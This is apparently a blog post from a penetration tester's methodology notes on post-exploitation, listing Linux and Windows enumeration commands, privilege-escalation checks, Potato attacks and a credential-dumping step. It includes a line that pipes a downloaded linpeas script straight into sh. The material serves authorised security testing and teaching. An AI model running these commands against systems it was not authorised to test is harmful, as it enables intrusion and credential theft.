Post

03 — Post-Exploitation

Post-exploitation methodology — situational awareness, Linux/Windows privesc, SUID, sudo, scheduled tasks, Potato attacks, automated enumeration.

Posted
By Sam Ireton
1 min read
03 — Post-Exploitation

📁 Source: github.com/sireton/pentest-vault/03-Post-Exploitation
← Back to Methodology Index

#post-exploitation #phase

Checklist

  • Situational awareness (who am I, where am I)
  • OS / version / patch level
  • Network interfaces & routes
  • Logged-in users & sessions
  • Interesting files & credentials
  • Run automated enumeration (linpeas/winpeas)
  • Identify privilege escalation vector
  • Escalate to root/SYSTEM
  • Dump credentials / hashes

Situational Awareness

Linux

1
2
3
4
5
6
7
8
9
10
11

id && whoami
hostname && uname -a
cat /etc/os-release
ip a; ip route
cat /etc/hosts
ps aux
netstat -tulpn 2>/dev/null || ss -tulpn
find / -perm -4000 2>/dev/null
sudo -l
cat /etc/passwd | grep -v nologin
ls -la /home/

Windows

1
2
3
4
5
6
7
8
9
10

whoami /all
systeminfo
hostname
ipconfig /all
net users
net localgroup administrators
netstat -ano
tasklist /SVC
Get-Process
dir C:\Users\

Linux Privilege Escalation

Automated

1

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Manual Checks

1
2
3
4
5
6

find / -perm -4000 -type f 2>/dev/null        # SUID — check GTFOBins
getcap -r / 2>/dev/null                        # Capabilities
cat /etc/crontab; ls -la /etc/cron.*           # Cron jobs
find / -not -path "/proc/*" -writable -type f 2>/dev/null  # Writable files
cat /etc/exports                               # NFS no_root_squash
sudo -l                                        # Sudo misconfigs

Windows Privilege Escalation

Automated

1
2

.\winPEASany.exe
Import-Module .\PowerUp.ps1; Invoke-AllChecks

Manual Checks

1
2
3
4

whoami /priv                                   # SeImpersonatePrivilege → Potato
cmdkey /list                                   # Saved credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"  # AutoLogon
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\"  # Unquoted paths

Potato Attacks (SeImpersonatePrivilege)

1
2

.\PrintSpoofer.exe -c "cmd /c whoami"
.\GodPotato.exe -cmd "cmd /c whoami"

See also: [[04-Lateral-Movement/Lateral Movement Index]] | [[05-Active-Directory/AD Index]]

Previous: Methodology Foothold · Next: Methodology Lateral Movement

Tools & Methodologies, Methodology
Methodology Post-Exploitation Privilege Escalation SUID Cron Windows Linux
This post is licensed under CC BY 4.0 by the author.